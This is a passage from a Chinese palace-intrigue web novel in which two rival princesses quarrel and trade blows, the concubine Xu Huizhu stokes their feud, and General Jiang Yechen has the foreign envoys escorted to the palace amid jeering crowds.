不过,美人儿就是美人儿,怒也好,哭也罢,笑也可,怎么看,都是美的娇的艳的。
“昌乐长公主先前亲口承认哄骗了凝玉公主,是也不是?”
上官西环难得接话,“耳听为实。”
“你……你们?”赫连娜娜自知吵不过,此刻被三个女人围追堵截,外加
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两个女人站在旁边看戏,从未经历过的狼狈难堪。
徐慧珠看向炸毛的凝玉公主,决定先顺**捋一捋,“凝玉公主,您是安国尊贵无双的皇族嫡公主,怎能被外人连番羞辱?臣妇都看不下去了呢。”
“羞辱本宫?”凝玉公主满眼疑惑,她差点脱口问出“赫连娜娜何时何地羞辱过本宫”,又一想,她若问了,岂不是显得自己很蠢。
她虽恨不得弄死徐慧珠,但有一点她得承认,徐慧珠说得没错,赫连娜娜是什么身份什么东西,一个表面亮堂的外族公主,竟敢跑到安国京城撒野,哄骗她?
此仇此怨,不能原谅。
“徐-慧-珠?”
说来,赫连娜娜平生未遇到过像徐慧珠这样的女子,当面捅刀,一下又一下精准插入肉里,痛到窒息,却可以避开心脏,伤不得性命。
“昌乐长公主,您该称我一句‘徐夫人’,这是做人的礼貌。”
此刻,赫连娜娜同凝玉公主的心情一样,好想扑过去撕烂徐慧珠的嘴。
让她说。
她这回来访安国,亲身经历之后大涨见识,很多人很多事和传闻大不相符。
世家大族不是以女则女德培养贵女吗?
凝玉公主出身皇族,身份高贵,姿容绝色,却品性低劣,蠢笨如猪,整日与将军府妾室争风吃醋,闹出的丑闻一桩接一桩,只怕京城世家儿郎无一人敢娶。
上官西环长得比男人还健硕壮实,自小在军营长大,擅长打仗,规矩极差,听闻此女曾得无双公子倾慕,也是奇葩事件。
还有徐慧珠,一个容颜五分家世背景五分的普通贵女,如何入得杀神将军的心,至今成谜。重要的是,她仗势欺人,连凝玉公主都敢欺,一个妾,能嚣张跋扈到这般境界,唯她独一份。
赫连娜娜何尝不明白,关键在于姜夜沉。
姜夜沉,她的杀父仇人,必须得死。
死在她的手里。
哪怕,付出她的生命为代价,也在所不惜。
“徐-夫-人!”赫连娜娜咬牙切齿道。
第255章:这就是命
赫连娜娜此刻后悔同凝玉公主互殴,她该忍下,然后捋顺凝玉公主的炸毛,继续蛊惑凝玉公主,为她所用。
“徐夫人请口下留德。”
赫连娜娜也豁得出去脸面,上前几步主动牵住凝玉公主的手,逼迫自己脸上堆砌笑容,“凝玉公主人娇心洁,我喜欢来不及,怎会羞辱?”
又上演“姐妹情深”了。
只是,赫连娜娜和凝玉公主彼此为铜镜,照出对方脸颊上的抓痕,头发也凌乱,赫连娜娜这番假话说的,假到凝玉公主犯恶心。
“哼!”凝玉公主甩开赫连娜娜的手,“少哄骗于本宫,赫连娜娜,你一个外族公主不配与本宫论姐妹。”
看,凝玉公主聪慧和骨气没几两,倒也不至于一两没有。
“徐慧珠,你给本宫说清楚,不然,本宫让你好看。”
“是,凝玉公主。”
“其实,昌乐长公主故意哄骗您,同为将军府女主人,表面看似助力您如偿所愿,暗里藏着恶毒心思,实为羞辱于您。”
“凝玉公主,您是我安国尊贵无双的皇族嫡公主,哪有为‘平妻’的道理。昌乐长公主虽是仓国君王亲册的公主,但她出身于敬王府,其生父是赫连敬王爷,一介王爷之女,怎能与我安国皇族嫡公主平起平坐?”
“若昌乐长公主出于真心,该自请为妾,尊凝玉公主您为主母才是。”
赫连娜娜:这……这番说辞也行?
凝玉公主:有几分道理。
“**,你果然敢羞辱本宫。”凝玉公主连“**”都骂上了,她天不怕地不怕,更没将赫连娜娜放在眼里。
凝玉公主之所以和赫连娜娜“姐妹情深”,也是看在赫连娜娜有几分用处,能助她得到姜夜沉。
不过,事实证明,赫连娜娜是个无能没用的废物。
上官西环和徐慧珠对视一眼,皆看到对方上扬的嘴角。
上官西环心想,难怪叶文瑞嘱咐她,可和徐慧珠接触,试着相处,指不定觅得知音。
她“心动”了。
姜夜沉来得迅速,下令锦衣卫由里到外围住仓国使馆,赫连礼拖着病体相见。
“大将军,这……这是为何啊?”
老狐狸装得挺像回事儿。
其实,倒也怪不得赫连礼装不知情,先前凝玉公主登门闹腾,他刚喝下安神药。待他醒来,院子里已闹哄哄一团,他拉不下脸面搅和几个女人之间的拉扯,又想借此教训赫连娜娜,不成想,引来姜夜沉。
此事闹大,不能善了。
想到这儿,赫连礼觉得胃里好一阵翻江倒海,喝下的汤药直往上涌,他向赫连娜娜递眼色,奈何徐慧珠反应更快,先一步告状。
“将军,您说昌乐长公主来者是客,贵客水土不服,缠病于床榻,于公于礼我等应携礼问候……”
赫连礼赶忙开口赔不是,“是本王的不是,理应亲自招待诸位。”
“大将军,待过几日,本王身子利索些,定备上厚礼登门致歉。”
徐慧珠张口扯出姜夜沉这面大旗,赫连礼看了一眼情绪外漏的赫连娜娜,心里唉叹一声,只得出面将一切过错拦在自己身上,以求姜夜沉看在他老脸上,止步于女子之间的胡闹。
赫连敬当初的谋算,君王同意,他赫连礼也大力支持的。
“宗正大人,我……还未说完。”
徐慧珠堵话。
“夫人可是受了委屈?告诉为夫,谁欺负你?为夫为你讨回公道。”姜夜沉拉起徐慧珠的手,上下一通看,仿佛站了一院子的人皆透明,他那一双明亮的眼睛只看得见徐慧珠。
凝玉公主和赫连娜娜脸上的抓痕,满身狼狈,算作什么?
好气人。
“夫人有什么话,尽管说来,为夫听着。”
赫连礼尴尬地附和,“徐夫人,你……你请说。”
“宗正大人,我……我当真可以说了?”徐慧珠故意气赫连敬,若是能气死这只老狐狸,便是功劳一件。
“咳咳。”赫连礼掩口咳嗽,“徐夫人,你请说你请说。”
姜夜沉在,他岂敢让徐慧珠闭嘴,姜夜沉摆明不给脸面,他们在安国京城,人家的地盘上,哪能不忍受憋屈。
“我们来的时候,两位公主正打着……”
“据周嬷嬷说,凝玉公主奉
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皇后娘娘懿旨来探病,昌乐长公主承认哄骗凝玉公主,向凝玉公主认错道歉。”
“但,凝玉公主不接受,质问昌乐长公主明知自己身患眩晕症,极可能影响后代智商,为何千里迢迢跑到安国,意图祸害太子殿下和将军?凝玉公主情绪激动,先动手,昌乐长公主还击……”
话,就得说五分真,五分假。
乍一听,徐慧珠不偏不倚,只是在叙述她所看到所听见的事实。
徐慧珠话风一转,“将军,妾身委屈啊。”
“夫人,果然有人欺负你。”姜夜沉眼神散发冷意,扫射过院子里的每一个人,那股萧杀气势仿佛在警告旁人,谁欺负了他的宠妾,就得滚出来承受他的雷霆怒火。
堂堂杀神将军、北疆之王、锦衣卫统领,怒发冲冠为一个“妾”?
谁能理解?
偏偏,眼见为实。
“哼,**多矫情,谁委屈你了?”凝玉公主看不惯徐慧珠矫情的模样,经过她允许了吗,当着她面勾引姜夜沉。
果然是妾,上不得台面的下作东西。
“将军,您听见了吧,凝玉公主骂妾身是**。”
“妾身是**,那将军是什么?**的夫君?”
这话,怎么听着熟悉。
“凝玉公主,请自重。”姜夜沉一记冷冽眼神扫过去,警告道,“别逼本将军打女人的嘴巴。”
“什么?姜夜沉,你……你敢打本宫?为了徐氏一个**的妾,打本宫?”凝玉公主身子摇摇欲坠,可见姜夜沉说的话,伤透她的心。
徐慧珠实在看不懂凝玉公主,她是骨子里生有受虐嗜好不成,姜夜沉伤她无数回,她每回自愈,再伤,再愈。
如此循环不停。
“夫人莫怕,为夫在。”姜夜沉不再理会凝玉公主,转头温柔安慰徐慧珠。
赫连娜娜毫不掩饰眼里的幸灾乐祸,“凝玉公主你的深情,比草贱,只怕你我放下身段,上赶着给姜夜沉做妾,人家也不稀罕。”
“凝玉公主,我劝你,死心吧。你啊,注定这一生比不过徐慧珠,得不到姜夜沉。”
“这就是命。”
第256章:公主的作用就是阵前祭旗
命?
她乃安国皇族嫡公主,出生即尊,享受富贵权势,万物苍生皆为她踩在脚下,任任蹂躏的尘埃……这才是她注定的贵命。
她不允许自己人生里有过得不到的东西,姜夜沉绝不会成为例外。
“赫连娜娜,你给本宫闭嘴。”
“这里是安国京城,赫连娜娜,你算个什么东西?”
凝玉公主从来不委屈自己,在她认知里,整座京城,乃至安国,她唯二惧怕的人,皇上排第一位,元乐长公主排第二位。
“凝玉公主,你……你别过分,我乃君王亲封的昌乐长公主,与你身份同尊同贵。你骂我辱我,我这就入宫问一句安国皇帝,这便是礼仪之邦的待客之道?”
赫连娜娜反唇相讥。
她出生金贵,她的父王赫连敬手握实权,在仓国地位仅次于君王,她虽是郡主,过得比公主尊贵体面。哪怕父王身死,君王亲封她昌乐长公主,如往昔厚待她。
她何曾被人指着辱骂过?
“呵!”
“哈哈哈……”
凝玉公主好似听到好笑的笑话,指着赫连娜娜哈哈大笑。
“向父皇告状?”
“哈哈哈……”
“赫连娜娜,你去啊你去啊。”
“呵,赫连娜娜,谁给你脸和本宫比?”
“论身份尊贵,本宫的生母乃安国皇后娘娘,生父是安国皇帝。赫连娜娜,你是仓国君王的血脉吗?还有脸摆长公主的谱,叫着好听的虚名罢了。”
“论得宠价值,先前仓国君王以城下聘,父皇母后舍不得本宫远嫁,拒绝和亲。而赫连娜娜你,不过是仓国君王用来讨好我安国的棋子,标价售卖,同那玉香楼的头牌姑娘无异。”
“若有朝一日两国开战,你的作用就是阵前祭旗。”
两位公主如市井泼妇,叉着腰肢互骂,凝玉公主的嘴头一回开光,怼的条理清晰,有理有据。
奇怪的是,旁人当看客也就罢了,姜夜沉怎会对女子掐架感兴趣,一副悠然自得看戏的姿态。
妇唱夫随?
不时低声说着什么,点评两位公主的表现?
啪。
凝玉公主娇嫩的脸上,巴掌印乍现。
一时间,所有人都愣了神。
空气凝滞。
还是姜夜沉最先回神,他上前将凝玉公主护在身后,冷声质问,“昌乐长公主?”
徐慧珠赶忙扶住凝玉公主,面色担忧,凝玉公主只觉得脸颊先是一凉,转瞬火辣辣的痛,正欲发作,“听将军的话,将军护你。”
凝玉公主对上姜夜沉的目光,只见他微微点头。
凝玉公主安静下来,任由徐慧珠“操控”。
徐慧珠扬声道,“凝玉公主,您的脸?”
“啊……”
“好严重啊。”
这一回,是赫连娜娜动手在先,姜夜沉等人皆为人证。
随之下令,“锦衣卫听令,请仓国使臣团入宫。”
“是。”话音落,锦衣卫如鬼魅现身于赫连娜娜和赫连礼,“请移步。”
一路上,凝玉公主顶着过分肿胀的面容,泪眼婆娑的可怜模样。
凝玉公主时不时偷瞄姜夜沉,心里欢跃,面上还得假装悲伤,实在难为她了。
“徐慧珠,你输了,事实证明,姜夜沉心里藏着本宫。”
徐慧珠:……
若是赫连娜娜敢扇她一耳光,姜夜沉定会让赫连娜娜手指尽断。
也不知,凝玉公主怎么就生出误会,倒是省去徐慧珠费心思蛊惑。
一路上,百姓议论纷纷,马车故意走得缓慢,如巡游。
“那位就是仓国来的昌乐长公主,果然绝色姿容,当之无愧仓国第一美人儿。”
“美则美矣,可惜啊,是个嚣张跋扈、蛇蝎心肠的毒美人儿。”
一人问,“怎么是蛇蝎美人呢?”
另一人没好气地怼,“怎么就不能是蛇蝎美人?”
又一人高声道,“听说这位昌乐长公主仗着自己的高贵身份和绝色姿容,先是勾引大将军不成,又蛊惑太子殿下设立东西两宫太子妃,还以她为尊……当真以为我安国优秀儿郎都得做她裙下之臣?”
“没脸没皮!”
“水性杨花!”
“此等劣女,休想祸害我安国儿郎!”
人群中,不知谁惊呼,“天呐,凝玉公主挨打了。
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”
“谁吃了熊心豹子胆不成,敢打凝玉公主?”
徐慧珠和上官西环默契地对视一眼,她们都打过凝玉公主,不止一回。
有人迅速接话,个个好似知情者。
“听说,昌乐长公主嫉妒凝玉公主的绝色容颜,欲毁凝玉公主的容貌。”
“昌乐长公主借打凝玉公主,挑衅皇后娘娘,恐怕这位昌乐长公主野心不小,奔着替代皇后娘娘位置去的。不管是太子妃还是将军府女主人,哪比得上皇后娘娘尊贵……”
“原来如此,仓国狼子野心!”
“滚滚滚!”
“滚出安国!”
“仓国使臣团滚出安国!”
这些事情,京城百姓怎么会知道?
太明显了,有人刻意引导**。
赫连娜娜看向姜夜沉,眼里是压不住的恨意,恨不能千刀万剐了他。
“卑劣下作。”
若在仓国,赫连娜娜早已令下,当场割掉那些愚昧贱民的舌头,有多少割多少,直到再无声音为止。
凝玉公主拱火,“赫连娜娜,敢再骂姜夜沉一句,本宫撕烂你的臭嘴。”
“姜夜沉是英雄……”凝玉公主挑拨之意过分明显,“是有人啊,旁人看在将军面上叫她‘夫人’,她便妄想从妾爬上嫡妻,不惜搞臭她人的名声。”
“妾之伎俩!”
“呵!”
徐慧珠无语至极,凝玉公主眼瞎看不清楚形势吗?这个时候,她祸水东引?
要不怎么说凝玉公主是一条疯劲无量的疯狗,还是一个脑容量比核桃还小的疯狗,想咬谁就咬谁,凭的是随心所欲。
她等同于指认现下百姓辱骂赫连娜娜,实则徐慧珠所为。
徐慧珠不气不恼,凝玉公主发疯之时,连皇后娘娘和太子都坑,何况旁人。
“徐慧珠,你竟敢为私仇不惜破坏两国邦交……”赫连娜娜顺杆爬,大声指责徐慧珠。
“昌乐长公主得空闲还是想一想待会儿入宫,如何向皇上和朝臣解释清楚,你来京城后连番动作的意图。事情还未过去,你今日又殴打凝玉公主,难道?”
“难道真像百姓所言……”